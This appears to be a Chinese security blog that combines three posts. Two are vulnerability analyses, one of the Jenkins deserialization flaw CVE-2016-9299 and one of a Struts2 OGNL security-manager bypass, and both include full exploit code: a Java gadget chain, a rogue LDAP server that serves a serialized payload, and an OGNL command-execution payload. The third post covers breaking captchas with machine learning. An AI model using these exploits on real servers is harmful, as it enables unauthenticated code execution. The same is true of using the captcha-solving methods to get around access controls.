这个漏洞在去年11月份官方发布通告的时候我当时关注过,当时自己一直在找com.sun.jndi.ldap.LdapAttribute这个类相关的反序列化,当时意识到这个类里面的getAttributeSyntaxDefinition()方法和getAttributeDefinition()可能会存在反序列化的问题,但是当时找了好多类,发现在发序列化的时候都无法触发这两个方法,原本以为是jdk里面自己的问题,最后就没继续跟下去了,中途有老外放出了一个ppt里面演示了这个漏洞,大概看了下发现是利用json来bypass Jenkins的白名单,当时一直在忙数据分析的事情,事情就搁浅了,前不久刚好MSF上有Payload了,再加上年底了没那么多事了,所以就研究了下,这个漏洞还是挺有意思的,涉及的知识面还是稍微广了一点,这里不得不佩服那些漏洞发现者。

每当一个漏洞漏洞出现的时候,我就在想为什么自己不能发现,当每次漏洞分析完的时候才发现各方面的差距真的是不小。

技术在于分享,这样才能进步

漏洞简介

2016年11月16号Jenkins官方发布了一个安全通告,命名为CVE-2016-9299,从通告上来看,该漏洞依然是个反序列的漏洞,不过这个漏洞的反序列化和LDAP有关,而且在反序列化后需要连接到一个恶意的LDAP服务器,Jenkins对于之前反序列化的修复方法就是对一些恶意的类加上黑名单,所以这里首先得Bypass官方的黑名单,对于该漏洞只有这么多信息,而且在官方给的POC里面也仅仅是提到了com.sun.jndi.ldap.LdapAttribute这个类,这个漏洞的利用首先是不需要认证的,而且能任意代码执行,危害可见一斑。

漏洞分析

从官方的描述以及后面的Payload来看,问题和net.sf.json以及com.sun.jndi.ldap.LdapAttribute有关,通过分析对LdapAttribute这个类的分析,我们可以确定以下两个方法是触发反序列化漏洞的根本(关于下文中LDAP的反序列相关的知识请移步16年blackhat老外的Paper “us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”)

  • getAttributeSyntaxDefinition
  • getAttributeDefinition

这两个方法中都调用了该DirContext schema = getBaseCtx().getSchema(rdn);代码片段其中getBaseCtx()方法定义如下:


/attach/getBaseCtx.png

该段代码使用jndi的方式去访问LDAP服务,这里我们可以控制Context.PROVIDER_URL的参数,从而控制jndi访问的LDAP服务器的地址。

getSchema(rdn)方法最终会调用com.sun.jndi.ldap.LdapBindingEnumeration.createItem(String, Attributes, Vector)方法(调用关系太多,自己去调试),该方法的定义如下图


/attach/createItem.png

在该方法中最终会调用Obj.decodeObject(attrs)方法,从而实现对象的反序列化。这里稍微提下,com.sun.jndi.ldap.Obj对象中定义了几种对象序列化与反序列化的方法,有直接反序列化的,也有直接通过远程加载的,这里的的反序列化稍微与其它地方的反序列化不同的点在于我们不能远程加载对象,因为com.sun.jndi.ldap.VersionHelper12.trustURLCodebase的默认值为false,所以直接决定了类加载器只能加载当前classpath下面的类,关于如何去构造对象使得LDAP在反序列化能执行任意代码,请看下文。

到这里我们知道了com.sun.jndi.ldap.LdapAttribute中相关的方法能触发反序列化的漏洞,那么现在我们要做的就是去找到一个类在反序列化的时候能调用我们相应触发漏洞的函数,也就是在反序列化时能调用getAttributeSyntaxDefinition方法或者getAttributeDefinition方法的类,通过老外的PPT以及公开的gadgets,我们稍微分析下就会发现在net.sf.json这个类库中存在可以调用类任意getXXX函数的地方,那么com.sun.jndi.ldap.LdapAttribute这个类中的getXXX方法是不是也可以通过这种方式来调用,首先我们先确定究竟是那个类中的那个方法能调用getXXX函数,通过gadgets中的json Payload我们发现最终能调用对象的getXXX函数如下图(net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig))所示


/attach/defaultbeanProcessing.png

上图中圈起来的两个地方就是能调用getXXX函数的地方,这里会先遍历javabean的所有属性,最后在挨个的调用。

弄明白了能函数调用的根源,下一步就是去找这个函数究竟会怎样触发。通过eclipse我们可以很容易发现如下调用方式。


/attach/calldefaultbeanProcessing.png

如上图所示,我们可以看见defaultBeanProcessing方法最终会被ConcurrentSkipListSet类中的equals方法调用,到这里很多人可能会问了,那么多调用关系,你为什么就找这个类的equals方法,这里可能会有一些经验在里面,因为对于和equals方法相关的东西太多了,对于java中的某些数据结构,例如Set,每次添加元素的时候都会判断当前key是否存在,还有就是比较两个对象是否相等的时候会去调用hashcode和equals方法,这里如果了解过其它反序列化的同学对此可能会稍有感触,例如jdk的那个反序列化的触发过程。如果这种经验没有的话,那么你只能一个一个的去找了。

最终我们找到了一个类可以的某个方法可以调用我们的函数了,但是你可能会发现在eclipse中这样的函数调用关系大多是多态情况下的方法调用,所以我们还需要对equals方法中的方法调用进行分析,这里我们需要注意的是defaultBeanProcessing这个函数的直接调用对象是net.sf.json.JSONArray.fromObject(Object, JsonConfig)方法,我们来看下equals方法


/attach/concurrentSkipListSetEquals.png

在这个方法里面有两处调用了containsAll方法,我们要看看究竟是那个可能会调用fromObject,我们再来看下fromObject的调用关系,如下图


/attach/fromObjectcall.png

你会发现JSONArray调用了containsAll方法,

1
containsAll(c) && c.containsAll(this);

这里的第一个containsAll方法是触发不了的那个函数的,所以我们只要满足对象o是JSONArray就行了,但是事实上是不行了,因为这个对象o不是Set的子类,所以这条路到这基本上就走不通了,所以我们还得继续找。

继续回到c.containsAll这个地方我们再找那些函数最终调用了containsAll,这里我们发现org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(Collection)这个抽象类调用了,来看改函数的定义

1
2
3
4
5
protected Collection collection;
....
public boolean containsAll(Collection coll) {
return collection.containsAll(coll);
}

这里最终会调用collection.containsAll方法,如果这里我们将collection赋值为JSONArray对象的话不照样触发漏洞么,由于AbstractCollectionDecorator这个类是抽象的,无法实例化,所以我们得找一个它的子类,注意这里我们必须得满足子类是实现了Set接口并且是可以序列化的,所以找到最后我们找到了org.apache.commons.collections.set.ListOrderedSet这个类。这里只需要满足父类的collection是JSONArray就行了。

到这里我们知道了只需要让equals方法中的对象o赋值成org.apache.commons.collections.set.ListOrderedSet的实例就行了。

接下来我们要去找关于equals的调用关系了,直接使用eclipse我们可以找到org.apache.commons.collections.map.Flat3Map.put(Object, Object)这个类(详细过程大家自己去跟),这个类有个更重要的一点是


/attach/flat3map_readObject.png

这个类在反序列化的时候恰好就触发了这个put函数,最终触发我们精心构造的对象。

这个Flat3Map有个特点就是当map的元素小于等于3的时候会用类成员变量来存储数据,而且这里还必须得调用equals方法。


/attach/flat3map_put.png

悲剧的是这里我们需要构造两个对象也就是我们刚才讨论的,一个是ListOrderedSet一个是concurrentSkipListSet对象,但是这里我们需要满足这两个对象的key值的hashcode必须相同。
这里的hashcode要么全为0这样是最好的,也就是key为空字符串就行了,但是我们要构造的Payload里面必须要有JSONArray对象,这个对象默认的hashcode是29,不管怎么弄都不可能相等,不过这里我们可以用hashcode碰撞来解决hashcode值相同问题。

这里我们关键的漏洞是怎么触发的已经浪费了大量的篇幅来说明,下来就是要去构造POC了,这里具体细节就比较简单了,不做过多的描述了。

Payload-LDAP-JNDI

这里直接给出生成Ldap序列化的Payload,如果谁有什么疑问可以邮件交流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@author iswin
public static void main(String[] args) throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException, Exception {
Object o = Reflections.getFirstCtor("com.sun.jndi.ldap.LdapAttribute").newInstance("iswin");
Reflections.setFieldValue(o, "baseCtxURL", "ldap://127.0.0.1:38900");
ConcurrentSkipListSet sets = new ConcurrentSkipListSet(new NullComparator());
sets.add(o);
ListOrderedSet set = new ListOrderedSet();
JSONArray array = new JSONArray();
array.add("\u0915\u0009\u001e\u000c\u0002\u0915\u0009\u001e\u000b\u0004");
Reflections.setSuperFieldValue(set, set.getClass().getSuperclass().getSuperclass().getSuperclass(),
"collection", array);
Flat3Map map = new Flat3Map();
map.put(set, true);
map.put(sets, true);
//如果不在这里更改值,则满足不了hash相等条件,如果在之前设置为空,那么在Flat3Map的put方法时就会触发漏洞,则不能完成生成payload。
Reflections.setSuperFieldValue(o, o.getClass().getSuperclass(), "attrID", "");
byte[] bt = Serializer.serialize(map);
Deserializer.deserialize(bt);
}

Payload-LDAP-SERVER

刚开始以为主要能生成序列化的Payload然后随便找个LDAP服务器弄个序列化的对象丢上去就行了,但是事实好像没有那么简单,我用apacheds模拟了好久就是不行,后来看了下上文提到的那个Obj.decodeObject(attrs)方法,发现这个必须要LDAP服务器返回的信息中必须包含某些属性,例如javaSerializedData,但是每次去请求总是达不到效果,后来去瞅了下msf上的payload,大概明白了一点,后来懒得去弄了,就学习了下ldap协议的rfc文档,熟悉了下asn1标记语言(有耐心的同学可以仔细看看),具体解释如下


/attach/asn1.png

直接将msf上的那个模拟的服务端中的asn1部分直接拿java重写了下。
整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
@author iswin
public class LdapServer {
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
}
return data;
}
public static String bytesToHex(byte[] bytes) {
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
public static byte[] make_stage_reply() throws Exception {
Object payload = CommonsCollections1.class.newInstance().getObject("open /Applications/Calculator.app");
ByteArrayOutputStream objpayload = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(objpayload);
oo.writeObject(payload);
Sequence sq = new Sequence();
sq.addElement(new OctetString("javaClassName".getBytes()));
Set s0 = new Set();
s0.addElement(new OctetString("WTF".getBytes()));
sq.addElement(s0);
Sequence sq1 = new Sequence();
sq1.addElement(new OctetString("javaSerializedData".getBytes()));
Set s = new Set();
s.addElement(new OctetString(objpayload.toByteArray()));
sq1.addElement(s);
Sequence sq2 = new Sequence();
sq2.addElement(sq);
sq2.addElement(sq1);
Sequence sq3 = new Sequence();
sq3.addElement(new OctetString("cn=wtf, dc=example, dc=com".getBytes()));
sq3.addElement(sq2);
sq3.setTagClass(Tag.APPLICATION);
sq3.setTagNumber(4);
Sequence sqall = new Sequence();
sqall.addElement(new ASN1Integer(3L));
sqall.addElement(sq3);
ByteArrayOutputStream opt = new ByteArrayOutputStream();
sqall.encode(new BerOutputStream(opt, BerOutputStream.ENCODING_DER));
return opt.toByteArray();
}
public static void read_ldap_packet(Socket socket) {
try {
InputStream sin = socket.getInputStream();
byte[] sinb = new byte[2];
sin.read(sinb);
if (sinb[0] != '0') {
return;
}
int length = (char) (sinb[1] & 0xFF);
if ((length & (1 << 7)) != 0) {
int length_bytes_length = length ^ (1 << 7);
byte[] length_bytes = new byte[length_bytes_length];
sin.read(length_bytes);
int sum = 0;
for (int i = 0; i < length_bytes.length; i++) {
sum += (length_bytes[i] & 0xFF);
}
length = sum;
}
// System.out.println("length" + length);
byte[] tmp = new byte[length];
sin.read(tmp);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void socketServer() throws Exception {
try {
ServerSocket server = new ServerSocket(38900);
Socket ss = server.accept();
OutputStream out = new BerOutputStream(ss.getOutputStream());
read_ldap_packet(ss);
out.write(hexStringToByteArray("300c02010161070a010004000400"));
out.flush();
read_ldap_packet(ss);
out.write(hexStringToByteArray(
"3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"));
out.write(hexStringToByteArray("300c02010265070a010004000400"));
out.flush();
read_ldap_packet(ss);
out.write(make_stage_reply());
out.write(hexStringToByteArray("300c02010365070a010004000400"));
out.flush();
out.close();
ss.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
socketServer();
}
}

最后再来简单说下那个Obj.decodeObject(attrs)的Payload构造问题,有的同学肯定会说了jndi不是直接可以远程加载类然后实例化么,这个问题再上门说过了,对于LDAP的jndi这个方法是行不通的,我们来看看这个Obj类到底是怎么处理的


/attach/obj.decodeObject.png

这里我们可以看到这里定义多种不同的方式来去解析对象, ClassLoader cl = helper.getURLClassLoader(codebases); 这个类加载器是从codebase的URL中去加载涉及的相关类,但是我看下具体方法


/attach/urlcodebase.png

所以默认是加载不了codebase中定义的类的,一旦这样我们就只能构造相关反序列化漏洞的POC,让类在Jenkins进行反序列化时再触发漏洞了,不过这样子的话Payload很有可能不成功。

关于hashcode的碰撞问题

这样叫不知道对不对,姑且这样叫吧,老外早就研究过这个问题,我直接把代码丢出来,可以碰撞出任意数值的hashcode值,大家在使用的时候要注意版权问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package iswin;
public class HashCollision {
public static String convert(String str) {
str = (str == null ? "" : str);
String tmp;
StringBuffer sb = new StringBuffer(1000);
char c;
int i, j;
sb.setLength(0);
for (i = 0; i < str.length(); i++) {
c = str.charAt(i);
sb.append("\\u");
j = (c >>> 8); // 取出高8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
j = (c & 0xFF); // 取出低8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
}
return (new String(sb));
}
public static String string2Unicode(String string) {
StringBuffer unicode = new StringBuffer();
for (int i = 0; i < string.length(); i++) {
// 取出每一个字符
char c = string.charAt(i);
// 转换为unicode
unicode.append("\\u" + Integer.toHexString(c));
}
return unicode.toString();
}
/**
* Returns a string with a hash equal to the argument.
*
* @return string with a hash equal to the argument.
* @author - Joseph Darcy
*/
public static String unhash(int target) {
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\u0915\u0009\u001e\u000c\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
/**
*
* @author - Joseph Darcy
*/
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void main(String[] args) {
System.out.println(convert(unhash(877174790)));
System.out.println("\u0915\u0009\u001e\u000c\u0002\u5569\u001b\u0006\u001b".hashCode());
}
}

补一张成功利用的截图


/attach/jenkins-exploit.jpg

总结

只要方向对,撸起袖子加油干!

参考

[1] https://github.com/rapid7/metasploit-framework/pull/7815

注:转载请保留版权。

关于验证码识别的文章网上很多图像识别的大神教程也比较多,不过大多数专业性太强了,对非专业人士读起来简直是天书,不过随着机器学习的普及,一大批机器学习的开源工具出现了,这也算对大多数像我一样的学渣的福音,由于最近项目中牵扯到了一些机器学习相关的东西,所以自己最近也一直在学习机器相关的东西,这篇验证码的识别也算是练手了,本文也算是学习中的笔记,所以文章中难免有一些错误,欢迎各路大神指点。

由于本人不是相关专业的,对于文中相关算法就不会具体去讨论了,主要以实战为目的。

准备工作

主要是用到了一些机器学习开源的框架以及一些辅助工具。

  • Scikit-Learn 比较有名的Python机器学习模块,主要是操作简单。
  • Pybrain Python机器学习模块,主要以神经网络为核心,所有的训练方法都以神经网络为一个实例。
  • pytesseract 图像识别小工具,本文主要是用来预处理训练样本的。
  • PIL Python图像处理库。

问题分析

首先在进行具体工作之前,我们得看看我们需要解决的是什么问题,那么对于验证码识别来说,可以看作一个分类问题,对于数字的图片验证码来说的话,其实就是0-9数字分类的问题,验证码识别最难的部分在于怎么去将验证码进行切割成单个字符图片,当然对于图片裁剪也就是特征提取有很多办法,例如垂直投影法,等距切割法等等,其中等距切割也是比较简单的,但是对于稍微复杂一点的验证码识别时准确率非常低,因为等距切割时将验证码按照相同的宽度进行裁剪,对于那些字符宽度大小不一的,就算裁剪出来也不能很好的表示字符的特征,所以有时候需要先对图片进行一系列的预处理,例如字符矫正等等,然后再用垂直投影法在x轴和y轴上按照投影的大小进行裁剪。

对于垂直投影法来说的话,最后我们还得考虑训练集在维度上都同意,由于是非等级切割,所以每个图片的像素肯定不一样,所以为了维度统一还得进行填充,总之稍微麻烦一点。

这里主要是以等距切割为例子,因为在操作起来比较简单,那么掩码也是选用0-9的纯数字验证码来进行识别,验证码如下


/attach/AuthCode.jpg

这样的图片看起来的话间距基本上都差不多大,所以在分割时也比较容易,将图片切成四块后,就可以拿每一块去进行训练识别了。

使用机器学习来进行训练和识别的话,我们就得考虑特征选取了,一般验证码识别有一套标准的流程,图片来自于http://www.jianshu.com/p/41127bf90ca9

/attach/machineLearn-serias.png

对于验证码识别来说我们关注的不是验证码的颜色,而是字符代表的含义,所以在图片处理时进行灰度化和二值化以及去噪,比如说去掉干扰线,那么去噪也有相应的算法来实现,这里不做具体讨论,二值化其实就是将图片呈现出两种颜色,即非黑即白,这样的好处是在特征处理时可以使用0和1来代表黑色和白色,0和1代表什么颜色取决于个人喜好。

这样的话将二值化和其它步骤处理后的图片进行特征提取,将黑色像素点标记成1,白色像素点标记成0,这样就可以得到图片的数值表示,那么特征维度就等于图片像素的大小,最终将图片按照X轴或者Y轴表示,即将像素的所标记的值合并到一行,例如


1111100000000000010

1110000000000000000

表示成11111000000000000101110000000000000000,这样每张图片就可以使用一行0和1的数值来表示。

进行特征提取之后,我们得到了图片在数学上的表示,那么下一步就需要进行模型训练了,由于如上文所述,图片识别是一个分类问题,所以在机器学习中,我主要采用了两种模型来进行训练,SVM支持向量机BP神经网络来进行模型训练,SVM使用scikit-learn机器学习包里面的实现来做,神经网络使用Pybrain来进行实现。

有关SVM和BP神经网络的算法部分,大家最好还是去网上搜下相关的Paper,这样你才能知道什么算法能解决什么问题,以及它大概的原理是什么样子的,有能力的同学可以去对推导下这两个算法。

实践

在问题分析部分我们已经对验证码识别的大概思路有了一个了解,那么这部分则主要正对上面所述部分进行具体实现。

首先,我们应该明白SVM和神经网络模型算法是属于有监督学习,即需要对样本进行标注,也就是标记每张图片表示的是那个数字,但是实际遇到的问题是,如果数据量小的话,我们可以进行人工标注,那么在数据量比较大的情况下,人工标注可能就不太现实了,所以对于图片来说的话也一样,你进行切割完成之后你必须得标注这个数字是几,所以我们需要对切割的图片进行预处理,也就是打标记,我比较懒,所以我也不会一个个去打标签,所以这里使用ocr来对切割的图片进行预分类,ocr在单文字识别上的效果正确率还是可以的,在ocr进行预分类之后,我们只需要去纠正那些分类错误的图片即可,这样就能大大的减少工作量。

这里实现主要有以下几个步骤:

  1. 图片采集
  2. 图片预处理(包括图片切割,二值化以及图像增强)
  3. 图片的预分类标注以及手动纠错标注
  4. 特征提取
  5. 模型训练以及预测

图片采集

图片采集就比较简单,不过多的阐述,如下图代码所示


/attach/machineLearn-downloadfiles.png

将下载到了图片按照时间戳存到指定位置

/attach/machineLearn-pics_sava.png

图片预处理以及图片裁剪

对图片进行预处理后采用等距切割法对图片进行切割


/attach/machineLearn-cutpics.png

裁剪后的图片如下


/attach/machineLearn-cutpicssave.png

图片预分类

图片预分类采用pytesseract来对分割的图片进行预分类,减轻工作量。
具体代码如下


/attach/machineLearn-ocr_category.png

ocr的分类效果正确率应该在50%以上,剩下的就是对预分类的图片进行人工纠错了。

ocr的分类效果图


/attach/machineLearn-ocr_categoryed.png

人工纠错和标记后的结果

/attach/machineLearn-correct_category.png

每个目录表示一个类别标签。

特征提取

特征提取的具体内容请参考问题分析中,里面有详细的说明。
关键代码如下


/attach/machineLearn-featureProcess.png

最终图片的数学上表示会以记录在/Users/iswin/Downloads/yzm/traindata/train_data.txt中,数据的格式如下图所示

/attach/machineLearn-train_data.png

红色线框表示一张图片数值上的表示,最后一个数字0表示该图片的类型,我是为了方便把标签追加到最后一行。

SVM模型分类

这里svm的实现使用了scikit-learn来实现,关于scikit-learn的使用去官网看Tutorial就好了,这里需要说一下SVM关于参数选择的问题,我们都知道SVM支持多个核函数,例如高斯核、线性核、poly以及sgmoid核函数,但是选择那么核函数一开始对于不太熟悉的同学怎么选择的确是个问题,所以这里使用了scikit-learn的GridSearchCV来对参数进行最优化选择,经过参数寻优,这里高斯核的最终效果还是不错的,所以训练的时候直接使用高斯核来进行训练。

为了方便预测时的使用,这里对训练结果使用了joblib模块来进行持久化。为了简单对评价模型进行,这里使用了5折交叉验证来对结果进行检验。

最终结果的准确率在:Accuracy: 0.96 (+/- 0.09)

具体代码如下:


/attach/machineLearn-svm_1.png


/attach/machineLearn-svm_2.png

举个预测的例子,看看效果


/attach/machineLearn-svm_predict.png

BP神经网络模型分类

BP神经网络也称负反馈神经网络,即按误差逆传播算法训练的多层前馈网络,是目前应用最广泛的神经网络模型之一,在BP神经网络之后,又出现了在深度学习中应用最广泛的CNN即卷积神经网络,这几天也正在学习。

本文使用了三层BP神经网络来对训练集进行训练,即输入层+2层隐含层+输出层,关于BP神经网络本身这里需要注意的是激活函数的选择以及对于多分类问题输出层函数选择的问题,激活函数主要有sigmod、tanh以及relu,关于怎么选取激活函数,这块没有进行深入了解,一般都是每个激活函数都跑一次,看最终效果。

这里的神经网络模型分类主要是对Pybrain用法的学习以及BP神经网络的基本认识,输入层使用了LinearLayer即线性输入层,隐含层使用了SigmoidLayer即激活函数为sigmod的隐含层,输出层由于是多分类问题,所以使用了SoftmaxLayer,最终在神经网络计算的结果中选取数值最大的那个索引位置就是预测的验证码类别,也就是0-9之间的数值。

关于Pybrain的资料除了官方文档不是特别多,关于构建神经网络的方式提供了两种方式,一种是buildNetwork函数来进行构建,另外一种就是使用FeedForwardNetwork函数来进行构建,这里需要注意的是如果使用FeedForwardNetwork来进行构建的话,注意要手动给各层加上Bias偏置项,否则结果可能可能非常差,当时我实验时没加,半天计算结果不对,最后看了下buildNetwork函数的源代码才发现没加Bias项,还有就是需要注意迭代至收敛的步数即函数中的*maxEpochs=500,这个根据情况调整,Pybrain有自己的数据集格式,所以在使用时必须按照它的格式来进行数据的初始化。

这里除了输入层的维度(即验证码的训练集维度)和输出是固定的之外,其中隐含层的神经元个数也是可以调整的,具体的感兴趣的同学自己去调然后再看下结果。

对模型使用10折交叉验证进行了简单评估,错误率在Total error: 0.062左右,效果比SVM的差一点,应该通参数调优应该可以提高准确率,不过重在学习。

训练集样本:/Users/iswin/Downloads/yzm/traindata/train_data_uniq.txt

主要代码如下:


/attach/machineLearn-network-1.png


/attach/machineLearn-network-2.png


/attach/machineLearn-network-3.png

举个例子,来看看预测效果


/attach/machineLearn-network-predict.png

总结

通过这个小实验,至少让我对机器学习和相关算法大致有了一个了解,同时作为安全人员来说至少知道了如何使用开源的机器学习框架来构架自己的模型,笔记中难免会有错误之处,欢迎大家提出意见。

关于这个Struts2的漏洞感慨颇深,首先根据官方漏洞的描述,大家应该能很快找到漏洞出现的位置,基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题,问题虽然能很容易的发现,但是在最新版本里面要想成功利用该漏洞执行任意代码,需要绕过Struts2的安全管理器,所以说整个漏洞变成了一个如何绕过Struts2安全管理器的问题,我花了很多时间在想办法如何去绕过Struts2的安全管理器,一开始我从来没有想过Struts2里面的_memberAccess变量可以被修改,因为前几次Struts2的RCE问题中_memberAccess变量已经被纳入黑名单了,同时我把Struts2的安全管理器的源代码也看了一遍,似乎都很合理,但是直到安恒研究院的同学把POC丢出来的时候,_memberAccess变量依然可以被修改,真的是让人匪夷所思。所以本文也主要是围绕这个Bypass安全管理器来进行探讨,看看究竟是什么原因导致了Bypass安全管理器。

漏洞详情

从官方的描述看来这次是Strut2标签的问题,而且还是标签属性值OGNL二次解析的问题,利用条件比较苛刻,所以说这个漏洞威力并没有那么大,下面直接给出一部分存在问题的标签,其他的标签大家自己去找,这里只列出来几个比较典型的,这里主要说两类标签属性值,一个是id属性,在org.apache.struts2.components.UIBean类中我们很容易发现id参数在setID时已经进行了第一次OGNL表达式的执行,如下图

然后紧接着在org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法中进行了第二次的OGNL表达式解析,如下如的

findStringIfAltSyntax方法最终会调用findString方法进行id值的第二次OGNL表达式执行

1
2
3
4
5
6
protected String findStringIfAltSyntax(String expr) {
if (altSyntax()) {
return findString(expr);
}
return expr;
}

所以说这里凡是调用了org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法的标签都存在二次解析的问题,通过eclipse很简单就可以找到有哪些标签存在这个问题,如下图

所以下列标签中的id属性只要可控,那么就会导致任意代码执行的问题

1
2
3
4
5
<s:head id=""/>
<s:file id=""/>
<s:reset id=""/>
<s:submit id=""/>
<s:updownselect id="" list=""/>

另一类为name属性,name属性的二次解析需要标签中的value为空,这样才能进行二次代码执行,由于name属性调用了org.apache.struts2.components.Component.completeExpressionIfAltSyntax(String)该方法,该方法定义如下

1
2
3
4
5
6
protected String completeExpressionIfAltSyntax(String expr) {
if (altSyntax()) {
return "%{" + expr + "}";
}
return expr;
}

该方法会自动在第一次表达式执行后添加%{}来标识这是一个ongl代码块,所以在写POC的时候记得这种情况下不要加%{},因为它会自动添加,比较典型的属性有

1
<s:hidden name="%{#request.poc}"></s:hidden>

其他的标签属性都一样,就不一一列举了。在Struts2的低版本中直接用以前Struts2的POC就可以了,但是在高版本中加入了新的安全策略,所以导致了在新的版本中以前的POC是没法用的。

不过对于漏洞的检测是没啥问题的如下图

不能执行命令,对于这个非常鸡肋的漏洞来说就更鸡肋了,下面来看看怎么bypass安全管理器的。

Bypass Struts2安全管理器

在讨论Bypass之前,首先非常感谢安恒信息安全研究院同学POC的分享。

在想怎么bypass安全管理器的时候,我对Struts2的安全管理器的策略也是花时间去看了的,毕竟对struts2不是特别的熟悉,我们先看看最新版本里面对OGNL表达式执行做了哪些限制,如下图

Struts2默认的安全规则就是上面红色框标记的部分,主要排除了一些可能存在问题的类以及包,首先来看看安全管理器有哪些东西,如下图

SecurityMemberAccess类继承了OGNL默认的的安全管理器DefaultMemberAccess,我们来看看DefaultMemberAccess类中有哪些属性以及他们的访问权限,如下图

这里可以看到上面圈起来的三个属性的修饰符是public,在DefaultMemberAccess中判断了调用方法的修饰符,如下图

如果调用属性的修饰符为public时就默认通过,那么我是否可以直接对上述三个属性值进行修改,看样子好像是不行的,因为Struts2的默认规则里面排除了该类型(MemberAccess),但是要想去修改_memberAccess变量中私有的属性值,必须得将上述三个变量设置为true。

我们再来看看SecurityMemberAccess类中是如何对OGNL表达式进行限制的,com.opensymphony.xwork2.ognl.SecurityMemberAccess.isAccessible(Map, Object, Member, String)方法最终进行判断的方法,部分代码如下


首先会按照默认规则进行判断,一旦不满足其中任何一个条件就会返回false,表示该OGNL表达式不具备执行的条件,通过对默认的规则进行分析以及fuzz,发现新版本中的规则都很死,要想执行命令或者静态方法基本上不太现实,但是POC明明是能够成功调用静态方法以及new对象和调用对象的任何方法,究竟是怎么回事?

我把OGNL表达式的执行流程走了一遍,发现Struts2开发人员在对ONGL表达式中的赋值操作时将判断条件写反了,这样一来就直接导致了前边做的所有的安全策略,在这里根本起不了作用,出问题的代码在ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object),该函数主要是对OGNL语法树中的赋值表达式进行解析以及通过反射去完成相应的赋值操作,具体代码如下

我们先跟进ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法,如下

也就是说如果ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法返回true代表权限检查通过,否则返回false,也就是安全检查失败,但是这里的条件进行判断时把条件给写反了
ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object)

1
2
3
4
5
//当条件不满足时返回false,一取反就成true,if条件满足,接着就会调用相关函数进行赋值操作
if (!OgnlRuntime.setMethodValue(ognlContext, target, name, value, true))
{
result = OgnlRuntime.setFieldValue(ognlContext, target, name, value) ? null : OgnlRuntime.NotFound;
}

所以说上述代码才是实现修改_memberAccess成员变量属性的决定性因素,所以即使做了权限检查,调用了相关判断函数,但是最终应为一个判断条件二前功尽弃,实在是不应该。

就是因为这个关键条件的判断的问题,导致了我们可以修改_memberAccess的任意属性哪怕是私有的属性。

漏洞利用

在bypass过安全管理器后,我们要想实现执行任意代码,只需要allowStaticMethodAccess=true(执行静态方法),excludedPackageNamePatterns=空集合(可以调用相关包)以及excludedClasses=空集合(可以调用任何类),满足这三个条件就可以执行任意代码了。

执行命令的POC如下

1
#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()

这里需要注意的是在一开始的时候我说主要有两类标签属性存在问题,一类是id,一类是name
如果id的属性可以控制,类似于下面代码

1
<s:file id="%{#request.poc}" />

那么对于的POC为如下图

如果对应的标签属性为name时,代码如下

1
<s:hidden name="%{#request.poc}"></s:hidden>

POC要稍微有点变化,因为name属性第二次进行OGNL调用时会自动对表达式加上%{}字符,所以对应的POC为如下图

